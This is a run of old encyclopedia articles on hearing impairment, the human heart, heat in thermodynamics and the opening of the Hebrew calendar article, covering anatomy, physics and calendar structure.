          The phrase hard of hearing, normally used as an adjective or adverb, can also be used as a noun, referring to people with hearing impairment as the hard of hearing. People who consider themselves culturally deaf, prefer the term "hard of hearing" or "deaf", and perceive "hearing impaired" as an insult.


          Hearing impaired persons with partial loss of hearing may find that the quality of their hearing varies from day to day, or from one situation to another or not at all. They may also, to a greater or lesser extent, depend on both hearing-aids and lip-reading. They may perhaps not always be aware of it, but they do admit to it being important to see the speaker's face in conversation.


          Many people with hearing loss have better hearing in the lower frequency ranges (low tones), and cannot hear as well or at all in the higher frequencies. Some people may merely find it difficult to differentiate between words that begin with consonantal sounds such as the fricatives or sibilants, z, or th, or the plosives d, t, b, or p. They may be unable to hear thin, high-pitched or metallic noises, such as birds chirping or singing, clocks ticking, etc. Often, they are able to hear and understand men's voices better than women's.


          Others will find their condition so much worse if circumstances in their immediate environment affect the way they are able to use their hearing aids, or prevent them from employing their speech reading skills. A room with a high ceiling and a lot of reverberation will affect the sound of a speaker's voice adversely. The position of the listener, too, sitting at a right angle to the speaker at a long seminar table, thus being able to hear only with one, maybe the ineffectual ear, can make a difference. Difficulties can also arise for the listener trying to lip-read, if the speaker is sitting with his back against the light-source and is in this way obscuring his face. A rule of thumb is that bright lighting is to the hearing-impaired what noise is to the hearing; a source of distraction.


          The speaker's accent; the topic under discussion, possibly with many unfamiliar words; the softness of his voice; possibly his having a speech impediment; a habit of holding a hand in front of his mouth or turning his face away at times: all these tendencies cause problems to the hard-of-hearing, especially when they have to rely on lip-reading. The rustling of papers, and notebook pages being turned are precisely the noises that will be the first thing hearing-aids pick up.


          Noisy situations are especially difficult, because hearing loss affects not only the ability to hear sounds, but also the ability to localize and filter out background noise.


          


          Unilateral hearing loss


          People with unilateral hearing loss (single sided deafness/SSD) can hear normally (or better) in one ear, but have trouble hearing out of the other ear. Problems with this type of deficit is inability to localize sounds (ie. unable to tell where traffic is coming from) and inability to process out background noise in a noisy environment, such as in a restaurant.


          


          Social impact


          


          Pre-lingual impairment


          In children, hearing loss can lead to social isolation for several reasons. First, the child experiences delayed social development that is in large part tied to delayed language acquisition. It is also directly tied to their inability to pick up auditory social cues. This can result in a deaf person becoming generally irritable. A child who uses sign language, or identifies with the deaf sub-culture does not generally experience this isolation, particularly if he/she attends a school for the deaf, but may conversely experience isolation from his parents if they do not know sign language. A child who is exclusively or predominantly oral (using speech for communication) can experience social isolation from his or her hearing peers, particularly if no one takes the time to explicitly teach her social skills that other children acquire independently by virtue of having normal hearing. Finally, a child who has a severe impairment and uses some sign language may be rejected by his or her deaf peers, because of an understandable hesitation in abandoning the use of existent verbal and speech-reading skills. Some in the deaf community can view this as a rejection of their own culture and its mores, and therefore will reject the individual preemptively.


          


          Post-lingual impairment


          Those who lose their hearing later in life, such as in late adolescence or adulthood, face their own challenges. For example, they must adjust to living with the adaptations that make it possible for them to live independently. They may have to adapt to using hearing aids or a cochlear implant, develop speech-reading skills, and/or learn sign language. The affected person may need to use a TTY (teletype), interpreter, or relay service to communicate over the telephone. Loneliness and depression can arise as a result of isolation (from the inability to communicate with friends and loved ones) and difficulty in accepting their disability. The challenge is made greater by the need for those around them to adapt to the person's hearing loss.


          Many relationships have suffered because of the anger that occurs when there is general miscommunication between family members. Generally, it's not only the person with a hearing disability that feels isolated, but others around them who feel they are not being "heard" or paid attention to, especially when the hearing loss has been gradual. Many people opt not to choose hearing aids for fear of looking old, since hearing loss is usually associated with old age, which equals ineffectiveness in some societies. Family members then feel as if their hearing loss partner doesn't care about them enough to make changes to reduce their disability and make it easier to communicate.


          


          Medical treatments


          


          Approaches


          In addition to hearing aids there exist cochlear implants of increasing complexity and effectiveness. These are useful in treating the mild to profound hearing impairment when the onset follows the acquisitions of language and in some cases in children whose hearing loss came before language was acquired. Recent research shows variations in efficacy but some promising studies show that if implanted at a very young age, some profoundly impaired children can acquire effective hearing and speech..


          


          Views of treatments


          There is controversy in the culturally deaf community as to whether cochlear implants address wellness concerns, the overall health and psycho-emotional well-being of prelingually deaf children at all.


          


          Gene therapy


          A 2005 study, achieved successful regrowth of cochlea cells in guinea pigs. It is important to note however, that the regrowth of cochlear hair cells does not imply the restoration of hearing sensitivity as the sensory cells may or may not make connections with neurons that carry the signals from hair cells to the brain. A 2008 study has shown in mice, that gene therapy targeting Atoh1 can cause hair cell regrowth and attract neuronal processes. It is expected that a similar treatment will ameliorate hearing in humans.


          


          Adaptations to hearing impairment


          Many hearing impaired individuals use certain assistive devices in their daily lives. Individuals can communicate by telephone using telecommunications devices for the deaf (TDD). This device looks like a typewriter or word processor and transmits typed text over the telephone. Other names in common use are textphone and minicom. A videophone can be used for distance communication using sign language. In 2004, mobile textphone devices came onto the market for the first time allowing simultaneous two way text communication. In the U.S., the UK, the Netherlands and many other western countries there are Telecommunications Relay Services so that a hearing impaired person can communicate over the phone with a hearing person via a human translator. Wireless, internet and mobile phone/ SMS text messaging are beginning to take over the role of the TDD. Other assistive devices include those that use flashing lights to signal events such as a ringing telephone, a doorbell, or a fire alarm. Video conferencing is also a new technology that permits signed conversations as well as permitting an ASL-English interpreter to voice and sign conversations between a hearing impaired and hearing person, negating the need to use a TTY or computer keyboard. In addition, there are many new Telecommunications Relay Service technologies including IP Relay and captioned telephone.


          


          Quotations


          
            	"Blindness cuts you off from things; deafness cuts you off from people."  Helen Keller


            	"What matters deafness of the ear, when the mind hears. The one true deafness, the incurable deafness, is that of the mind."  Victor Hugo


            	"Deaf people can do anything except hear."  I. King Jordan

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hearing_impairment"
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          The heart is a muscular organ in all vertebrates responsible for pumping blood through the blood vessels by repeated, rhythmic contractions, or a similar structure in annelids, mollusks, and arthropods. The term cardiac (as in cardiology) means "related to the heart" and comes from the Greek ί, kardia, for "heart."


          The heart of a vertebrate is composed of cardiac muscle, an involuntary muscle tissue which is found only within this organ. The average human heart beating at 72 BPM, will beat approximately 2.5 billion times during a lifetime spanning 66 years.


          


          Early development


          The animal heart is derived from embryonic mesoderm germ-layer cells that differentiate after gastrulation into mesothelium, endothelium, and myocardium. Mesothelial pericardium forms the outer lining of the heart. The inner lining of the heart, lymphatic and blood vessels develop from endothelium. Myocardium develops into heart muscle.


          From splachnopleuric mesoderm tissue, the cardiogenic plate develops cranially and laterally to the neural plate. In the cardiogenic plate, two separate angiogenic cell clusters form on either side of the embryo. Each cell cluster coalesces to form an endocardial tube continuous with a dorsal aorta and a vitteloumbilical vein. As embryonic tissue continues to fold, the two endocardial tubes are pushed into the thoracic cavity and begin to fuse together and are completely fused at approximately 21 days.


          
            [image: At 21 days after conception, the human heart begins beating at 70 to 80 beats per minute and accelerates linearly for the first month of beating.]
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          The human embryonic heart begins beating around 21 days after conception, or five weeks after the last normal menstrual period (LMP), which is the date normally used to date pregnancy. It is unknown how blood in the human embryo circulates for the first 21 days in the absence of a functioning heart. The human heart begins beating at a rate near the mothers, about 75-80 beats per minute (BPM). The embryonic heart rate (EHR) then accelerates linearly for the first month of beating, peaking at 165-185 BPM during the early 7th week, (early 9th week after the LMP). This acceleration is approximately 3.3 BPM per day, or about 10 BPM every three days, an increase of 100 BPM in the first month.


          After peaking at about 9.2 weeks after the LMP, it decelerates to about 152 BPM (+/-25 BPM) during the 15th week after the LMP. After the 15th week the deceleration slows reaching an average rate of about 145 (+/-25 BPM) BPM at term. The regression formula which describes this acceleration before the embryo reaches 25 mm in crown-rump length or 9.2 LMP weeks is Age in days = EHR(0.3)+6


          There is no difference in male and female heart rates before birth.


          


          Structure


          The structure of the heart varies among the different branches of the animal kingdom. (See Circulatory system.) Cephalopods have two "gill hearts" and one "systemic heart". Fish have a two-chambered heart that pumps the blood to the gills and from there it goes on to the rest of the body. In amphibians and most reptiles, a double circulatory system is used, but the heart is not always completely separated into two pumps. Amphibians have a three-chambered heart.


          Birds and mammals show complete separation of the heart into two pumps, for a total of four heart chambers; it is thought that the four-chambered heart of birds evolved independently from that of mammals.
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          In the human body, the heart is usually situated in the middle of the thorax with the largest part of the heart slightly offset to the left (although sometimes it is on the right, see dextrocardia), underneath the breastbone (see diagrams). The heart is usually felt to be on the left side because the left heart (left ventricle) is stronger (it pumps to all body parts). The left lung is smaller than the right lung because the heart occupies more of the left hemithorax. The heart is enclosed by a sac known as the pericardium and is surrounded by the lungs. The pericardium comprises two parts: the fibrous pericardium, made of dense fibrous connective tissue; and a double membrane structure containing a serous fluid to reduce friction during heart contractions (the serous pericardium). The mediastinum, a subdivision of the thoracic cavity, is the name of the heart cavity.


          The apex is the blunt point situated in an inferior (pointing down and left) direction. A stethoscope can be placed directly over the apex so that the beats can be counted. It is located posterior to the 5th intercostal space in the left mid-clavicular line. In normal adults, the mass of the heart is 250-350 g (9-12 oz), or about three quarters the size of a clenched fist, but extremely diseased hearts can be up to 1000 g (2 lb) in mass due to hypertrophy. It consists of four chambers, the two upper atria (singular: atrium ) and the two lower ventricles.


          


          Functioning


          In humans, the function of the right side of the heart (see right heart) is to collect de-oxygenated blood, in the right atrium, from the body and pump it, via the right ventricle, into the lungs ( pulmonary circulation) so that carbon dioxide can be dropped off and oxygen picked up ( gas exchange). This happens through the passive process of diffusion. The left side (see left heart) collects oxygenated blood from the lungs into the left atrium. From the left atrium the blood moves to the left ventricle which pumps it out to the body. On both sides, the lower ventricles are thicker and stronger than the upper atria. The muscle wall surrounding the left ventricle is thicker than the wall surrounding the right ventricle due to the higher force needed to pump the blood through the systemic circulation.


          Starting in the right atrium, the blood flows through the tricuspid valve to the right ventricle. Here it is pumped out the pulmonary semilunar valve and travels through the pulmonary artery to the lungs. From there, blood flows back through the pulmonary vein to the left atrium. It then travels through the mitral valve to the left ventricle, from where it is pumped through the aortic semilunar valve to the aorta. The aorta forks, and the blood is divided between major arteries which supply the upper and lower body. The blood travels in the arteries to the smaller arterioles, then finally to the tiny capillaries which feed each cell. The (relatively) deoxygenated blood then travels to the venules, which coalesce into veins, then to the inferior and superior venae cavae and finally back to the right atrium where the process began.


          The heart is effectively a syncytium, a meshwork of cardiac muscle cells interconnected by contiguous cytoplasmic bridges. This relates to electrical stimulation of one cell spreading to neighboring cells.


          


          First aid
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          The heart is one of the critical organs of an animal's body, as it pumps oxygenated blood to feed the body's biological functions. The cessation of the heartbeat, referred to as cardiac arrest, is a critical emergency. Without intervention, death can occur within minutes of cardiac arrest since the brain requires a continuous supply of oxygen and cannot survive for long if that supply is cut off.


          If a person is encountered in cardiac arrest, cardiopulmonary resuscitation (CPR) should be started and help called. Use of a defibrillator is preferred, if available, to attempt to restore a normal heartbeat; many public areas have portable defibrillators available for such emergencies. Usually, if there is enough time, the person can be rushed to the hospital where he or she will be cared for by a cardiologist, a doctor who specializes in the heart and lungs.


          Electrical innervation of the heart in health is supplied by two closely intertwined mechanisms. The first mechanism is well demonstrated in electrical coil systole (interpreted by the electrocardiogram as QRS)as an individualized myocardial electrical tree initiated by the sinoatrial node. Secondary diastolic electrical control is posited to represent autonomic recoil control from the vagus nerve and cardiac branches and the thoracic ganglia.


          


          History of discoveries


          The valves of the heart were discovered by a physician of the Hippocratean school around the 4th century BC. However their function was not properly understood then. Because blood pools in the veins after death, arteries look empty. Ancient anatomists assumed they were filled with air and that they were for transport of air.


          Herophilos distinguished veins from arteries but thought that the pulse was a property of arteries themselves. Erasistratos observed that arteries that were cut during life bleed. He ascribed the fact to the phenomenon that air escaping from an artery is replaced with blood that entered by very small vessels between veins and arteries. Thus he apparently postulated capillaries but with reversed flow of blood.


          The 2nd century AD, Greek physician Galenos ( Galen) knew that blood vessels carried blood and identified venous (dark red) and arterial (brighter and thinner) blood, each with distinct and separate functions. Growth and energy were derived from venous blood created in the liver from chyle, while arterial blood gave vitality by containing pneuma (air) and originated in the heart. Blood flowed from both creating organs to all parts of the body where it was consumed and there was no return of blood to the heart or liver. The heart did not pump blood around, the heart's motion sucked blood in during diastole and the blood moved by the pulsation of the arteries themselves.


          Galen believed that the arterial blood was created by venous blood passing from the left ventricle to the right by passing through 'pores' in the interventricular septum, air passed from the lungs via the pulmonary artery to the left side of the heart. As the arterial blood was created 'sooty' vapors were created and passed to the lungs also via the pulmonary artery to be exhaled.


          


          Food use


          The hearts of cattle, sheep, pigs, chickens and certain fowl are consumed in many countries. They are counted among offal, but being a muscle, the taste of heart is like regular meat. It resembles venison in structure and taste.
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          In physics, heat, symbolized by Q, is energy transferred from one body or system to another due to a difference in temperature. In thermodynamics, the quantity TdS is used as a representative measure of heat, which is the absolute temperature of an object multiplied by the differential quantity of a system's entropy measured at the boundary of the object. Heat can flow spontaneously from an object with a high temperature to an object with a lower temperature. The transfer of heat from one object to another object with an equal or higher temperature can happen only with the aid of a heat pump. High temperature bodies, which often result in high rates of heat transfer, can be created by chemical reactions (such as burning), nuclear reactions (such as fusion taking place inside the Sun), electromagnetic dissipation (as in electric stoves), or mechanical dissipation (such as friction). Heat can be transferred between objects by radiation, conduction and convection. Temperature is used as a measure of the internal energy or enthalpy, that is the level of elementary motion giving rise to heat transfer. Heat can only be transferred between objects, or areas within an object, with different temperatures (as given by the zeroth law of thermodynamics), and then, in the absence of work, only in the direction of the colder body (as per the second law of thermodynamics). The temperature and phase of a substance subject to heat transfer are determined by latent heat and heat capacity. A related term is thermal energy, loosely defined as the energy of a body that increases with its temperature.
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          Overview


          The first law of thermodynamics states that the energy of a closed system is conserved. Therefore, to change the energy of a system, energy must be transferred to or from the system. Heat and work are the only two mechanisms by which energy can be transferred to or from a control mass. Heat is the transfer of energy caused by the temperature difference. The unit for the amount of energy transferred by heat in International System of Units SI is the joule (J), though the British Thermal Unit and the calorie are still occasionally used in the United States. The unit for the rate of heat transfer is the watt (W = J/s).
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          Heat transfer is a path function ( process quantity), as opposed to a point function ( state quantity). Heat flows between systems that are not in thermal equilibrium with each other; it spontaneously flows from the areas of high temperature to areas of low temperature. When two bodies of different temperature come into thermal contact, they will exchange internal energy until their temperatures are equalized; that is, until they reach thermal equilibrium. The adjective hot is used as a relative term to compare the objects temperature to that of the surroundings (or that of the person using the term). The term heat is used to describe the flow of energy. In the absence of work interactions, the heat that is transferred to an object ends up getting stored in the object in the form of internal energy.
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          Specific heat is defined as the amount of energy that has to be transferred to or from one unit of mass or mole of a substance to change its temperature by one degree. Specific heat is a property, which means that it depends on the substance under consideration and its state as specified by its properties. Fuels, when burned, release much of the energy in the chemical bonds of their molecules. Upon changing from one phase to another, a pure substance releases or absorbs heat without its temperature changing. The amount of heat transfer during a phase change is known as latent heat and depends primarily on the substance and its state.


          


          Thermal energy


          Thermal energy is a term often confused with that of heat. Loosely speaking, when heat is added to a thermodynamic system its thermal energy increases and when heat is withdrawn its thermal energy decreases. In this point of view, objects that are hot are referred to as being in possession of a large amount of thermal energy, whereas cold objects possess little thermal energy. Thermal energy then is often mistakenly defined as being synonym for the word heat. This, however, is not the case: an object cannot possess heat, but only energy. The term thermal energy when used in conversation is often not used in a strictly correct sense, but is more likely to be only used as a descriptive word. In physics and thermodynamics, the words heat,  internal energy, work, "enthalpy" (heat content), "entropy", "external forces", etc., which can be defined exactly, i.e. without recourse to internal atomic motions and vibrations, tend to be preferred and used more often than the term thermal energy, which is difficult to define.


          


          History


          In the history of science, the history of heat traces its origins from the first hominids to make fire and to speculate on its operation and meaning to modern day particle physicists who study the sub-atomic nature of heat. In short, the phenomenon of heat and its definition evolved from mythological theories of fire, to heat, to terra pinguis, phlogiston, to fire air, to caloric, to the theory of heat, to the mechanical equivalent of heat, to thermo-dynamics (sometimes called energetics) to thermodynamics. The history of heat, then, is a precursor for developments and theories in the history of thermodynamics.


          


          Notation


          The total amount of energy transferred through heat transfer is conventionally abbreviated as Q. The conventional sign convention is that when a body releases heat into its surroundings, Q<0 (-); when a body absorbs heat from its surroundings, Q>0 (+). Heat transfer rate, or heat flow per unit time, is denoted by:


          
            	[image: \dot{Q} = {dQ\over dt} \,\!].

          


          It is measured in watts. Heat flux is defined as rate of heat transfer per unit cross-sectional area, and is denoted q, resulting in units of watts per square metre, though slightly different notation conventions can be used.


          


          Entropy


          In 1854, German physicist Rudolf Clausius defined the second fundamental theorem (the second law of thermodynamics) in the mechanical theory of heat (thermodynamics): "if two transformations which, without necessitating any other permanent change, can mutually replace one another, be called equivalent, then the generations of the quantity of heat Q from work at the temperature T, has the equivalence-value:"


          
            	[image:  \frac {Q}{T}]

          


          In 1865, he came to define this ratio as entropy symbolized by S, such that, for a closed, stationary system:


          
            	[image:  \Delta S = \frac {Q}{T}]

          


          and thus, by reduction, quantities of heat Q (an inexact differential) are defined as quantities of TdS (an exact differential):


          
            	[image:  \delta Q = T dS \,]

          


          In other words, the entropy function S facilitates the quantification and measurement of heat flow through a thermodynamic boundary.


          


          Definitions


          In modern terms, heat is concisely defined as energy in transit. Scottish physicist James Clerk Maxwell, in his 1871 classic Theory of Heat, was one of the first to enunciate a modern definition of heat. In short, Maxwell outlined four stipulations on the definition of heat. One, it is something which may be transferred from one body to another, as per the second law of thermodynamics. Two, it can be spoken of as a measurable quantity, and this treated mathematically like other measurable quantities. Third, it can not be treated as a substance; for it may be transformed into something which is not a substance, e.g. mechanical work. Lastly, it is one of the forms of energy. Similar such modern, succinct definitions of heat are as follows:


          
            	In a thermodynamic sense, heat is never regarded as being stored within a body. Like work, it exists only as energy in transit from one body to another; in thermodynamic terminology, between a system and its surroundings. When energy in the form of heat is added to a system, it is stored not as heat but as kinetic and potential energy of the atoms and molecules making up the system.

          


          
            	The noun heat is defined only during the process of energy transfer by conduction or radiation.

          


          
            	Heat is defined as any spontaneous flow of energy from one object to another, caused by a difference in temperature between two objects.

          


          
            	Heat may be defined as energy in transit from a high temperature object to a lower temperature object.

          


          
            	Heat is an interaction between two closed systems without exchange of work is a pure heat interaction when the two systems, initially isolated and in a stable equilibrium, are placed in contact. The energy exchanged between the two systems is then called heat.

          


          
            	Heat is a form of energy possessed by a substance by virtue of the vibrational movement, i.e. kinetic energy, of its molecules or atoms.

          


          
            	Heat is the transfer of energy between substances of different temperatures.

          


          


          Thermodynamics


          


          Internal energy


          Heat is related to the internal energy U of the system and work W done by the system by the first law of thermodynamics:


          
            	[image: \Delta U = Q - W \ ]

          


          which means that the energy of the system can change either via work or via heat flows across the boundary of the thermodynamic system. In more detail, Internal energy is the sum of all microscopic forms of energy of a system. It is related to the molecular structure and the degree of molecular activity and may be viewed as the sum of kinetic and potential energies of the molecules; it comprises the following types of energies:


          
            
              
                	Type

                	Composition of Internal Energy (U)
              


              
                	Sensible energy

                	the portion of the internal energy of a system associated with kinetic energies (molecular translation, rotation, and vibration; electron translation and spin; and nuclear spin) of the molecules.
              


              
                	Latent energy

                	the internal energy associated with the phase of a system.
              


              
                	Chemical energy

                	the internal energy associated with the atomic bonds in a molecule.
              


              
                	Nuclear energy

                	the tremendous amount of energy associated with the strong bonds within the nucleus of the atom itself.
              


              
                	Energy interactions

                	those types of energies not stored in the system (e.g. heat transfer, mass transfer, and work), but which are recognized at the system boundary as they cross it, which represent gains or losses by a system during a process.
              


              
                	Thermal energy

                	the sum of sensible and latent forms of internal energy.
              

            

          


          The transfer of heat to an ideal gas at constant pressure increases the internal energy and performs boundary work (i.e. allows a control volume of gas to become larger or smaller), provided the volume is not constrained. Returning to the first law equation and separating the work term into two types, "boundary work" and "other" (e.g. shaft work performed by a compressor fan), yields the following:


          
            	[image: \Delta U + W_{boundary} = Q - W_{other}\ ]

          


          This combined quantity U + Wboundary is enthalpy, H, one of the thermodynamic potentials. Both enthalpy, H, and internal energy, U are state functions. State functions return to their initial values upon completion of each cycle in cyclic processes such as that of a heat engine. In contrast, neither Q nor W are properties of a system and need not sum to zero over the steps of a cycle. The infinitesimal expression for heat, Q, forms an inexact differential for processes involving work. However, for processes involving no change in volume, applied magnetic field, or other external parameters, Q, forms an exact differential. Likewise, for adiabatic processes (no heat transfer), the expression for work forms an exact differential, but for processes involving transfer of heat it forms an inexact differential.


          


          Heat capacity


          For a simple compressible system such as an ideal gas inside a piston, the changes in enthalpy and internal energy can be related to the heat capacity at constant pressure and volume respectively. constrained to have constant volume, the heat, Q, required to change its temperature from an initial temperature, T0, to a final temperature, Tf is given by:


          
            	[image: Q = \int_{T_0}^{T_f}C_v\,dT = \Delta U\,\!]

          


          Removing the volume constraint and allowing the system to expand or contract at constant pressure:


          
            	[image: Q = \ \Delta U + \int_{V_0}^{V_f}P\,dV = \ \Delta H = \int_{T_0}^{T_f}C_p\,dT \,\!]

          


          For incompressible substances, such as solids and liquids, the distinction between the two types of heat capacity disappears as no work is performed. Heat capacity is an extensive quantity and as such is dependent on the number of molecules in the system. It can be represented as the product of mass, m , and specific heat capacity, [image: c_s \,\!] according to:


          
            	[image: C_p = mc_s \,\!]

          


          or is dependent on the number of moles and the molar heat capacity, [image: c_n \,\!] according to:


          
            	[image: C_p = nc_n \,\!]

          


          The molar and specific heat capacities are dependent upon the internal degrees of freedom of the system and not on any external properties such as volume and number of molecules.


          The specific heats of monatomic gases (e.g., helium) are nearly constant with temperature. Diatomic gases such as hydrogen display some temperature dependence, and triatomic gases (e.g., carbon dioxide) still more.


          In liquids at sufficiently low temperatures, quantum effects become significant. An example is the behaviour of bosons such as helium-4. For such substances, the behaviour of heat capacity with temperature is discontinuous at the Bose-Einstein condensation point.


          The quantum behaviour of solids is adequately characterized by the Debye model. At temperatures well below the characteristic Debye temperature of a solid lattice, its specific heat will be proportional to the cube of absolute temperature. For low-temperature metals, a second term is needed to account for the behaviour of the conduction electrons, an example of Fermi-Dirac statistics.


          


          Changes of phase


          The boiling point of water, at sea level and normal atmospheric pressure and temperature, will always be at nearly 100 C no matter how much heat is added. The extra heat changes the phase of the water from liquid into water vapor. The heat added to change the phase of a substance in this way is said to be "hidden," and thus it is called latent heat (from the Latin latere meaning "to lie hidden"). Latent heat is the heat per unit mass necessary to change the state of a given substance, or:


          
            	[image: L = \frac{Q}{\Delta m} \,\!]

          


          and


          
            	[image: Q = \int_{M_0}^{M} L\,dm.]

          


          Note that as pressure increases, the L rises slightly. Here, Mo is the amount of mass initially in the new phase, and M is the amount of mass that ends up in the new phase. Also,L generally does not depend on the amount of mass that changes phase, so the equation can normally be written:


          
            	Q = Lm.

          


          Sometimes L can be time-dependent if pressure and volume are changing with time, so that the integral can be written as:


          
            	[image: Q = \int L\frac{dm}{dt}dt.]

          


          


          Heat transfer mechanisms


          Heat tends to move from a high temperature region to a low temperature region. This heat transfer may occur by the mechanisms of conduction and radiation. In engineering, the term convective heat transfer is used to describe the combined effects of conduction and fluid flow and is regarded as a third mechanism of heat transfer.


          


          Conduction


          Conduction is the most significant means of heat transfer in a solid. On a microscopic scale, conduction occurs as hot, rapidly moving or vibrating atoms and molecules interact with neighboring atoms and molecules, transferring some of their energy (heat) to these neighboring atoms. In insulators the heat flux is carried almost entirely by phonon vibrations.


          
            [image: Fire test used to test the heat transfer through firestops and penetrants used in construction listing and approval use and compliance.]

            
              Fire test used to test the heat transfer through firestops and penetrants used in construction listing and approval use and compliance.
            

          


          The "electron fluid" of a conductive metallic solid conducts nearly all of the heat flux through the solid. Phonon flux is still present, but carries less than 1% of the energy. Electrons also conduct electric current through conductive solids, and the thermal and electrical conductivities of most metals have about the same ratio. A good electrical conductor, such as copper, usually also conducts heat well. The Peltier-Seebeck effect exhibits the propensity of electrons to conduct heat through an electrically conductive solid. Thermoelectricity is caused by the relationship between electrons, heat fluxes and electrical currents.


          


          Convection


          Convection is usually the dominant form of heat transfer in liquids and gases. This is a term used to characterize the combined effects of conduction and fluid flow. In convection, enthalpy transfer occurs by the movement of hot or cold portions of the fluid together with heat transfer by conduction. For example, when water is heated on a stove, hot water from the bottom of the pan rises, heating the water at the top of the pan. Two types of convection are commonly distinguished, free convection, in which gravity and buoyancy forces drive the fluid movement, and forced convection, where a fan, stirrer, or other means is used to move the fluid. Buoyant convection is because of the effects of gravity, and hence does not occur in microgravity environments.


          


          Radiation


          Radiation is the only form of heat transfer that can occur in the absence of any form of medium; thus it is the only means of heat transfer through a vacuum. Thermal radiation is a direct result of the movements of atoms and molecules in a material. Since these atoms and molecules are composed of charged particles (protons and electrons), their movements result in the emission of electromagnetic radiation, which carries energy away from the surface. At the same time, the surface is constantly bombarded by radiation from the surroundings, resulting in the transfer of energy to the surface. Since the amount of emitted radiation increases with increasing temperature, a net transfer of energy from higher temperatures to lower temperatures results


          The power that a black body emits at various frequencies is described by Planck's law. There is a frequency fmax at which the power emitted is a maximum. Wien's displacement law, and the fact that the frequency of light is inversely proportional to its wavelength in vacuum, mean that the peak frequency fmaxis proportional to the absolute temperature T of the black body. The photosphere of the Sun, at a temperature of approximately 6000 K, emits radiation principally in the visible portion of the spectrum. The earth's atmosphere is partly transparent to visible light, and the light reaching the earth's surface is absorbed or reflected. The earth's surface emits the absorbed radiation, approximating the behaviour of a black body at 300 K with spectral peak at fmax. At these lower frequencies, the atmosphere is largely opaque and radiation from earth's surface is absorbed or scattered by the atmosphere. Though some radiation escapes into space, it is absorbed and subsequently re-emitted by atmospheric gases. It is this spectral selectivity of the atmosphere that is responsible for the planetary greenhouse effect


          The common household lightbulb has a spectrum overlapping the blackbody spectra of the sun and the earth. A portion of the photons emitted by a tungsten light bulb filament at 3000K are in the visible spectrum. However, most of the energy is associated with photons of longer wavelengths; these will not help a person see, but will still transfer heat to the environment, as can be deduced empirically by observing a household incandescent lightbulb. Whenever EM radiation is emitted and then absorbed, heat is transferred. This principle is used in microwave ovens, laser cutting, and RF hair removal.


          
            [image: Heat exposure as part of a fire test for firestop products.]

            
              Heat exposure as part of a fire test for firestop products.
            

          


          


          Other heat transfer mechanisms


          
            	Latent heat: Transfer of heat through a physical change in the medium such as water-to-ice or water-to-steam involves significant energy and is exploited in many ways: steam engine, refrigerator etc. (see latent heat of fusion)


            	Heat pipes: Using latent heat and capillary action to move heat, heat pipes can carry many times as much heat as a similar sized copper rod. Originally invented for use in satellites, they are starting to have applications in personal computers.

          


          


          Heat dissipation


          In cold climates, houses with their heating systems form dissipative systems. In spite of efforts to insulate such houses to reduce heat losses to their exteriors, considerable heat is lost, or dissipated, from them, which can make their interiors uncomfortably cool or cold. For the comfort of its inhabitants, the interior of a house must be maintained out of thermal equilibrium with its external surroundings. In effect, domestic residences are oases of warmth in a sea of cold and the thermal gradient between the inside and outside is often quite steep. This can lead to problems such as condensation and uncomfortable draughts (drafts) which, if left unaddressed, can cause structural damage to the property. This is why modern insulation techniques are required to reduce heat loss.


          In such a house, a thermostat is a device capable of starting the heating system when the house's interior falls below a set temperature, and of stopping that same system when another (higher) set temperature has been achieved. Thus the thermostat controls the flow of energy into the house, that energy eventually being dissipated to the exterior.


          
            Retrieved from " http://en.wikipedia.org/wiki/Heat"
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          The Hebrew calendar (Hebrew: הלוח העברי) or Jewish calendar is a lunisolar calendar used by Jews for predominantly religious purposes. It is used to reckon the Jewish New Year and dates for Jewish holidays, and also to determine appropriate public reading of Torah portions, Yahrzeits (dates to commemorate the death of a relative), and daily Psalm reading, among many ceremonial uses. Originally the Hebrew calendar was used by Jews for all daily purposes, but by the era of the Roman occupation (1st century BCE), Jews followed the imperial civil calendar for all civic matters, such as the payment of taxes and dealings with government officials.


          The principles of the Hebrew calendar are found in the Torah, which contains several calendar-related commandments, including God's commandment during the Exodus from Egypt to fix the month of Nisan as the first month of the year. The Babylonian exile in the 6th century BCE influenced the calendar, including the adoption of Babylonian names for the months.


          Before the destruction of the Second Temple in 70 CE, the calendar was observational, with the beginning of each month determined by the testimony of witnesses who had observed a new crescent moon. Between 70 and 1178 CE a rule-based fixed-arithmetic lunisolar calendar system was adopted to achieve the same effect. The principles and rules of the current calendar were fully described by Maimonides in 1178 CE in the Mishneh Torah.


          Because of the roughly eleven-day difference between twelve lunar months and one solar year, the year lengths of the Hebrew calendar vary in a repeating 19-year Metonic cycle of 235 lunar months, with an intercalary lunar month added every two or three years, for a total of 7 times per 19 years. Seasonal references in the Hebrew calendar reflect its development in the region east of the Mediterranean Sea and the times and climate of the Northern Hemisphere. With respect to the present-day mean solar year, the Hebrew calendar's year is longer by about 6 minutes and 25+25/57 seconds, meaning that every 224 years, the Hebrew calendar will fall a full day behind the modern fixed solar year, and about every 231 years it will fall a full day behind the Gregorian calendar year. This is due to the 0.6 second discrepancy between the calendric " Molad" (lunar conjunction interval), which is fixed by Jewish Law, and the actual mean lunar conjunction interval, which itself is slowly changing over time.


          Years in the Hebrew calendar are labeled with the era designation Anno Mundi (Latin: "in the year of the world", abbreviated AM or A.M.) and are numbered from the epoch approximately a year before Creation. The current Hebrew calendar year is 5768.


          


          Structure


          The Jewish calendar is a lunisolar calendar, or "fixed lunar year," based on twelve lunar months of twenty-nine or thirty days, with an intercalary lunar month added seven times every nineteen years (once every two to three years) to synchronize the twelve lunar cycles with the slightly longer solar year. Each Jewish lunar month starts with the new moon; although originally the new lunar crescent had to be observed and certified by witnesses, the timing of the new moon is now mathematically determined.


          Concurrently there is a weekly cycle of seven days, mirroring the seven day period of the Book of Genesis in which the world is created. The names for the days of the week, like those in the Creation story, are simply the day number within the week, with Shabbat being the seventh day. The Jewish day runs from sunset to the next sunset, and accordingly, standard times and time zones have no place in the Jewish calendar.


          The twelve regular months are: Nisan (30 days), Iyar (29 days), Sivan (30 days), Tammuz (29 days), Av (30 days), Elul (29 days), Tishrei (30 days), Cheshvan (29 or 30 days), Kislev (29 or 30 days), Tevet (29 days), Shevat (30 days), and Adar (29 days). In the leap years an additional month, Adar I (30 days) is added after Shevat, and the regular Adar is referred to as "Adar II".


